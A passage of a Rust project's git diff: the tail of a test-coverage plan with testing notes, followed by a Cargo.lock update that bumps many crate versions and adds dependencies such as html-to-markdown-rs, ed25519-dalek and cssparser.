refactoring) | +| 7 | LLM provider tests (Tier 1 subset) | ~800 | Medium | +| 8 | Remaining small files (Tier 6) | ~2,000 | Low | + +## Notes + +- All trace tests require `--features libsql` and use `TestRigBuilder` from `tests/support/` +- Web handler tests can use `axum::test` helpers or build the router directly +- CLI tests should call handler functions directly, not shell out to the binary +- Setup wizard tests require extracting pure logic from interactive prompts first +- Sandbox/container tests should verify command construction, not run Docker +- Worker tests can use `TraceLlm` for the LLM provider, same as trace tests diff --git a/Cargo.lock b/Cargo.lock index f35afcda..58bd543f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -17,6 +17,15 @@ version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" +[[package]] +name = "adobe-cmap-parser" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae8abfa9a4688de8fc9f42b3f013b6fffec18ed8a554f5f113577e0b9b3212a3" +dependencies = [ + "pom", +] + [[package]] name = "aead" version = "0.5.2" @@ -74,7 +83,7 @@ dependencies = [ "getrandom 0.3.4", "once_cell", "version_check", - "zerocopy 0.8.37", + "zerocopy 0.8.39", ] [[package]] @@ -174,9 +183,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.100" +version = "1.0.102" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a23eb6b1614318a8071c9b2521f36b424b2c83db5eb3a0fead4a6c0809af6e61" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" [[package]] name = "approx" @@ -201,6 +210,9 @@ name = "arbitrary" version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3d036a3c4ab069c7b410a2ce876bd74808d2d0888a82667669f8e783a898bf1" +dependencies = [ + "derive_arbitrary", +] [[package]] name = "arc-swap" @@ -411,7 +423,7 @@ version = "57.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8c872d36b7bf2a6a6a2b40de9156265f0242910791db366a2c17476ba8330d68" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "serde_core", "serde_json", ] @@ -453,6 +465,15 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b0f477b951e452a0b6b4a10b53ccd569042d1d01729b519e02074a9c0958a063" +[[package]] +name = "astral-tl" +version = "0.7.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d90933ffb0f97e2fc2e0de21da9d3f20597b804012d199843a6fe7c2810d28f3" +dependencies = [ + "memchr", +] + [[package]] name = "async-broadcast" version = "0.7.2" @@ -479,9 +500,9 @@ dependencies = [ [[package]] name = "async-compression" -version = "0.4.39" +version = "0.4.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68650b7df54f0293fd061972a0fb05aaf4fc0879d3b3d21a638a182c5c543b9f" +checksum = "d0f9ee0f6e02ffd7ad5816e9464499fba7b3effd01123b515c41d1697c43dad1" dependencies = [ "compression-codecs", "compression-core", @@ -491,9 +512,9 @@ dependencies = [ [[package]] name = "async-executor" -version = "1.13.3" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497c00e0fd83a72a79a39fcbd8e3e2f055d6f6c7e025f3b3d91f4f8e76527fb8" +checksum = "c96bf972d85afc50bf5ab8fe2d54d1586b4e0b46c97c50a0c9e71e2f7bcd812a" dependencies = [ "async-task", "concurrent-queue", @@ -527,7 +548,7 @@ dependencies = [ "futures-lite", "parking", "polling", - "rustix 1.1.3", + "rustix 1.1.4", "slab", "windows-sys 0.61.2", ] @@ -558,7 +579,7 @@ dependencies = [ "cfg-if", "event-listener", "futures-lite", - "rustix 1.1.3", + "rustix 1.1.4", ] [[package]] @@ -569,7 +590,7 @@ checksum = "3b43422f69d8ff38f95f1b2bb76517c91589a924d1559a0e935d7c8ce0274c11" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -584,7 +605,7 @@ dependencies = [ "cfg-if", "futures-core", "futures-io", - "rustix 1.1.3", + "rustix 1.1.4", "signal-hook-registry", "slab", "windows-sys 0.61.2", @@ -609,7 +630,7 @@ checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -626,7 +647,7 @@ checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -771,6 +792,12 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + [[package]] name = "bigdecimal" version = "0.4.10" @@ -799,7 +826,7 @@ version = "0.66.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f2b84e06fc203107bfbad243f4aba2af864eb7db3b1cf46ea0a023b0b433d2a7" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cexpr", "clang-sys", "lazy_static", @@ -812,7 +839,7 @@ dependencies = [ "regex", "rustc-hash 1.1.0", "shlex", - "syn 2.0.114", + "syn 2.0.117", "which", ] @@ -824,9 +851,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.10.0" +version = "2.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" [[package]] name = "bitpacking" @@ -920,13 +947,13 @@ dependencies = [ "http-body-util", "hyper 1.8.1", "hyper-named-pipe", - "hyper-rustls", + "hyper-rustls 0.27.7", "hyper-util", "hyperlocal", "log", "pin-project-lite", - "rustls", - "rustls-native-certs", + "rustls 0.23.37", + "rustls-native-certs 0.8.3", "rustls-pemfile", "rustls-pki-types", "serde", @@ -975,7 +1002,7 @@ dependencies = [ "proc-macro2", "quote", "rustversion", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -998,7 +1025,7 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -1024,9 +1051,9 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.19.1" +version = "3.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" dependencies = [ "allocator-api2", ] @@ -1067,9 +1094,9 @@ checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" -version = "1.11.0" +version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b35204fbdc0b3f4446b89fc1ac2cf84a8a68971995d0bf2e925ec7cd960f9cb3" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" dependencies = [ "serde", ] @@ -1094,7 +1121,7 @@ checksum = "20a158160765c6a7d0d8c072a53d772e4cb243f38b04bfcf6b4939cfbe7482e7" dependencies = [ "cap-primitives", "cap-std", - "rustix 1.1.3", + "rustix 1.1.4", "smallvec", ] @@ -1110,7 +1137,7 @@ dependencies = [ "io-lifetimes", "ipnet", "maybe-owned", - "rustix 1.1.3", + "rustix 1.1.4", "rustix-linux-procfs", "windows-sys 0.59.0", "winx", @@ -1135,7 +1162,7 @@ dependencies = [ "cap-primitives", "io-extras", "io-lifetimes", - "rustix 1.1.3", + "rustix 1.1.4", ] [[package]] @@ -1148,7 +1175,7 @@ dependencies = [ "cap-primitives", "iana-time-zone", "once_cell", - "rustix 1.1.3", + "rustix 1.1.4", "winx", ] @@ -1163,9 +1190,9 @@ dependencies = [ [[package]] name = "cc" -version = "1.2.55" +version = "1.2.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47b26a0954ae34af09b50f0de26458fa95369a0d478d8236d3f93082b219bd29" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" dependencies = [ "find-msvc-tools", "jobserver", @@ -1202,9 +1229,9 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" [[package]] name = "chrono" -version = "0.4.43" +version = "0.4.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fac4744fb15ae8337dc853fee7fb3f4e48c0fbaa23d0afe49c447b4fab126118" +checksum = "c673075a2e0e5f4a1dde27ce9dee1ea4558c7ffe648f576438a20ca1d2acc4b0" dependencies = [ "iana-time-zone", "js-sys", @@ -1247,9 +1274,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.5.56" +version = "4.5.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a75ca66430e33a14957acc24c5077b503e7d374151b2b4b3a10c83b4ceb4be0e" +checksum = "2797f34da339ce31042b27d23607e051786132987f595b02ba4f6a6dffb7030a" dependencies = [ "clap_builder", "clap_derive", @@ -1257,9 +1284,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.56" +version = "4.5.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "793207c7fa6300a0608d1080b858e5fdbe713cdc1c8db9fb17777d8a13e63df0" +checksum = "24a241312cea5059b13574bb9b3861cabf758b879c15190b37b6d6fd63ab6876" dependencies = [ "anstream", "anstyle", @@ -1267,6 +1294,15 @@ dependencies = [ "strsim", ] +[[package]] +name = "clap_complete" +version = "4.5.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c757a3b7e39161a4e56f9365141ada2a6c915a8622c408ab6bb4b5d047371031" +dependencies = [ + "clap", +] + [[package]] name = "clap_derive" version = "4.5.55" @@ -1276,14 +1312,14 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] name = "clap_lex" -version = "0.7.7" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3e64b0cc0439b12df2fa678eae89a1c56a529fd067a9115f7827f1fffd22b32" +checksum = "3a822ea5bc7590f9d40f1ba12c0dc3c2760f3482c6984db1573ad11031420831" [[package]] name = "clipboard-win" @@ -1316,14 +1352,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "958c5d6ecf1f214b4c2bbbbf6ab9523a864bd136dcf71a7e8904799acfe1ad47" dependencies = [ "unicode-segmentation", - "unicode-width 0.2.0", + "unicode-width 0.2.2", ] [[package]] name = "compression-codecs" -version = "0.4.36" +version = "0.4.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00828ba6fd27b45a448e57dbfe84f1029d4c9f26b368157e9a448a5f49a2ec2a" +checksum = "eb7b51a7d9c967fc26773061ba86150f19c50c0d65c887cb1fbe295fd16619b7" dependencies = [ "compression-core", "flate2", @@ -1345,6 +1381,24 @@ dependencies = [ "crossbeam-utils", ] +[[package]] +name = "console" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "054ccb5b10f9f2cbf51eb355ca1d05c2d279ce1804688d0db74b4733a5aeafd8" +dependencies = [ + "encode_unicode", + "libc", + "once_cell", + "windows-sys 0.59.0", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + [[package]] name = "const-random" version = "0.1.18" @@ -1540,6 +1594,21 @@ dependencies = [ "target-lexicon", ] +[[package]] +name = "crc" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5eb8a2a1cd12ab0d987a5d5e825195d372001a4094a0376319d5a0ad71c1ba0d" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" + [[package]] name = "crc32fast" version = "1.5.0" @@ -1572,7 +1641,7 @@ dependencies = [ "proc-macro2", "quote", "strict", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -1648,7 +1717,7 @@ version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "829d955a0bb380ef178a640b91779e3987da38c9aea133b20614cfed8cdea9c6" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "crossterm_winapi", "mio", "parking_lot", @@ -1664,13 +1733,13 @@ version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d8b9f2e4c67f833b660cdb0a3523065869fb35570177239812ed4c905aeff87b" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "crossterm_winapi", "derive_more", "document-features", "mio", "parking_lot", - "rustix 1.1.3", + "rustix 1.1.4", "signal-hook", "signal-hook-mio", "winapi", @@ -1702,6 +1771,29 @@ dependencies = [ "typenum", ] +[[package]] +name = "cssparser" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dae61cf9c0abb83bd659dab65b7e4e38d8236824c85f0f804f173567bda257d2" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa", + "phf 0.13.1", + "smallvec", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" +dependencies = [ + "quote", + "syn 2.0.117", +] + [[package]] name = "csv" version = "1.4.0" @@ -1732,6 +1824,33 @@ dependencies = [ "cipher", ] +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "digest", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "darling" version = "0.21.3" @@ -1753,7 +1872,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -1764,7 +1883,7 @@ checksum = "d38308df82d1080de0afee5d069fa14b0326a88c14f15c5ccda35b4a6c414c81" dependencies = [ "darling_core", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -2217,7 +2336,7 @@ checksum = "1063ad4c9e094b3f798acee16d9a47bd7372d9699be2de21b05c3bd3f34ab848" dependencies = [ "datafusion-doc", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -2452,15 +2571,49 @@ dependencies = [ ] [[package]] -name = "deranged" -version = "0.5.5" +name = "der" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ececcb659e7ba858fb4f10388c250a7252eb0a27373f1a72b8748afdd248e587" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "der_derive", + "flagset", + "zeroize", +] + +[[package]] +name = "der_derive" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" dependencies = [ "powerfmt", "serde_core", ] +[[package]] +name = "derive_arbitrary" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e567bd82dcff979e4b03460c307b3cdc9e96fde3d73bed1496d2bc75d9dd62a" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "derive_more" version = "2.1.1" @@ -2480,7 +2633,7 @@ dependencies = [ "proc-macro2", "quote", "rustc_version", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -2570,7 +2723,7 @@ checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -2605,6 +2758,21 @@ version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "117240f60069e65410b3ae1bb213295bd828f707b5bec6596a1afc8793ce0cbc" +[[package]] +name = "dtoa" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c3cf4824e2d5f025c7b531afcb2325364084a16806f6d47fbc1f5fbd9960590" + +[[package]] +name = "dtoa-short" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87" +dependencies = [ + "dtoa", +] + [[package]] name = "dyn-clone" version = "1.0.20" @@ -2621,6 +2789,36 @@ dependencies = [ "num-traits", ] +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "pkcs8", + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "serde", + "sha2", + "subtle", + "zeroize", +] + +[[package]] +name = "ego-tree" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2972feb8dffe7bc8c5463b1dacda1b0dfbed3710e50f977d965429692d74cd8" + [[package]] name = "either" version = "1.15.0" @@ -2639,6 +2837,12 @@ version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "edd0f118536f44f5ccd48bcb8b111bdc3de888b58c74639dfb034a357d0f206d" +[[package]] +name = "encode_unicode" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34aa73646ffb006b8f5147f3dc182bd4bcb190227ce861fc4a4844bf8e3cb2c0" + [[package]] name = "encoding_rs" version = "0.8.35" @@ -2678,7 +2882,7 @@ checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -2720,6 +2924,15 @@ version = "1.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca81e6b4777c89fd810c25a4be2b1bd93ea034fbe58e6a75216a34c6b82c539b" +[[package]] +name = "euclid" +version = "0.20.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bb7ef65b3777a325d1eeefefab5b6d4959da54747e33bd6258e789640f307ad" +dependencies = [ + "num-traits", +] + [[package]] name = "event-listener" version = "5.4.1" @@ -2795,10 +3008,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0ce92ff622d6dadf7349484f42c93271a0d49b7cc4d466a936405bacbe10aa78" dependencies = [ "cfg-if", - "rustix 1.1.3", + "rustix 1.1.4", "windows-sys 0.59.0", ] +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + [[package]] name = "filetime" version = "0.2.27" @@ -2822,13 +3041,19 @@ version = "0.5.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" +[[package]] +name = "flagset" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe" + [[package]] name = "flatbuffers" version = "25.12.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35f6839d7b3b98adde531effaf34f0c2badc6f4735d26fe74709d8e513a96ef3" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "rustc_version", ] @@ -2860,6 +3085,12 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + [[package]] name = "foreign-types" version = "0.3.2" @@ -2891,7 +3122,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94e7099f6313ecacbe1256e8ff9d617b75d1bcb16a6fddef94866d225a01a14a" dependencies = [ "io-lifetimes", - "rustix 1.1.3", + "rustix 1.1.4", "windows-sys 0.59.0", ] @@ -2941,10 +3172,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" [[package]] -name = "futures" -version = "0.3.31" +name = "futf" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" dependencies = [ "futures-channel", "futures-core", @@ -2957,9 +3198,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" dependencies = [ "futures-core", "futures-sink", @@ -2967,15 +3208,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" [[package]] name = "futures-executor" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" dependencies = [ "futures-core", "futures-task", @@ -2984,9 +3225,9 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" [[package]] name = "futures-lite" @@ -3003,26 +3244,26 @@ dependencies = [ [[package]] name = "futures-macro" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] name = "futures-sink" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" [[package]] name = "futures-task" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" [[package]] name = "futures-timer" @@ -3032,9 +3273,9 @@ checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" [[package]] name = "futures-util" -version = "0.3.31" +version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" dependencies = [ "futures-channel", "futures-core", @@ -3044,7 +3285,6 @@ dependencies = [ "futures-task", "memchr", "pin-project-lite", - "pin-utils", "slab", ] @@ -3063,7 +3303,7 @@ version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "27d12c0aed7f1e24276a241aadc4cb8ea9f83000f34bc062b7cc2d51e3b0fabd" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "debugid", "fxhash", "serde", @@ -3217,6 +3457,15 @@ dependencies = [ "libm", ] +[[package]] +name = "getopts" +version = "0.2.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfe4fbac503b8d1f88e6676011885f34b7174f46e59956bba534ba83abded4df" +dependencies = [ + "unicode-width 0.2.2", +] + [[package]] name = "getrandom" version = "0.2.17" @@ -3244,6 +3493,19 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "getrandom" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139ef39800118c7683f2fd3c98c1b23c09ae076556b435f8e9064ae108aaeeec" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasip2", + "wasip3", +] + [[package]] name = "ghash" version = "0.5.1" @@ -3318,7 +3580,7 @@ dependencies = [ "cfg-if", "crunchy", "num-traits", - "zerocopy 0.8.37", + "zerocopy 0.8.39", ] [[package]] @@ -3358,7 +3620,7 @@ checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" dependencies = [ "allocator-api2", "equivalent", - "foldhash", + "foldhash 0.1.5", "serde", ] @@ -3367,6 +3629,11 @@ name = "hashbrown" version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash 0.2.0", +] [[package]] name = "hashlink" @@ -3425,11 +3692,59 @@ dependencies = [ [[package]] name = "home" -version = "0.5.11" +version = "0.5.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" +checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d" dependencies = [ - "windows-sys 0.59.0", + "windows-sys 0.61.2", +] + +[[package]] +name = "html-escape" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d1ad449764d627e22bfd7cd5e8868264fc9236e07c752972b4080cd351cb476" +dependencies = [ + "utf8-width", +] + +[[package]] +name = "html-to-markdown-rs" +version = "2.25.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c05335c6bf406653110ad8447c84461c6d0cda5e0aff9d3d3518f87502d30abe" +dependencies = [ + "ahash 0.8.12", + "astral-tl", + "base64 0.22.1", + "html-escape", + "html5ever 0.38.0", + "lru 0.16.3", + "once_cell", + "regex", + "serde", + "serde_json", + "thiserror 2.0.18", +] + +[[package]] +name = "html5ever" +version = "0.36.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6452c4751a24e1b99c3260d505eaeee76a050573e61f30ac2c924ddc7236f01e" +dependencies = [ + "log", + "markup5ever 0.36.1", +] + +[[package]] +name = "html5ever" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1054432bae2f14e0061e33d23402fbaa67a921d319d56adc6bcf887ddad1cbc2" +dependencies = [ + "log", + "markup5ever 0.38.0", ] [[package]] @@ -3579,6 +3894,24 @@ dependencies = [ "winapi", ] +[[package]] +name = "hyper-rustls" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "399c78f9338483cb7e630c8474b07268983c6bd5acee012e4211f9f7bb21b070" +dependencies = [ + "futures-util", + "http 0.2.12", + "hyper 0.14.32", + "log", + "rustls 0.22.4", + "rustls-native-certs 0.7.3", + "rustls-pki-types", + "tokio", + "tokio-rustls 0.25.0", + "webpki-roots 0.26.11", +] + [[package]] name = "hyper-rustls" version = "0.27.7" @@ -3588,11 +3921,11 @@ dependencies = [ "http 1.4.0", "hyper 1.8.1", "hyper-util", - "rustls", - "rustls-native-certs", + "rustls 0.23.37", + "rustls-native-certs 0.8.3", "rustls-pki-types", 